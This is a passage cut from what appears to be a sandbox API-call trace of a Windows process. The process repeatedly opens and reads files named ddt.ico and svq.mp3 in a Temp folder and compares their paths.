cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.627] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.627] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.627] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.628] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.628] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.628] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.628] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.628] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.628] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.628] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.628] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.628] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.628] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.629] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.629] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.629] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.629] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.629] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.629] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.629] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.629] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.629] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.630] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.630] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.630] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.630] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.630] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.630] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.630] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.630] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.630] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.630] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.630] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.631] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.631] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.631] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.631] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.631] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.631] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.631] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.631] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.631] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.632] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.632] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.632] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.632] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.632] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.632] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.632] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.632] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.632] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.633] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.633] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.633] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.633] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.633] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.633] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.633] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.633] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.633] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.633] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.633] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.633] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.633] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.634] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.634] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.634] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.634] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.634] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.634] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.635] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.635] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.635] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.635] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.635] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.635] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.635] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.635] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.635] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.635] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.636] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.636] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.636] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.636] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.636] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.636] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.636] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.636] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.636] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.636] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.636] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.636] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.636] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.637] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.637] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.637] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.637] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.637] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.637] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.637] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.637] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.637] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.637] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.638] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.638] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.638] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.638] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.638] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.638] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.638] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.638] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.638] SetCurrentDirectoryW 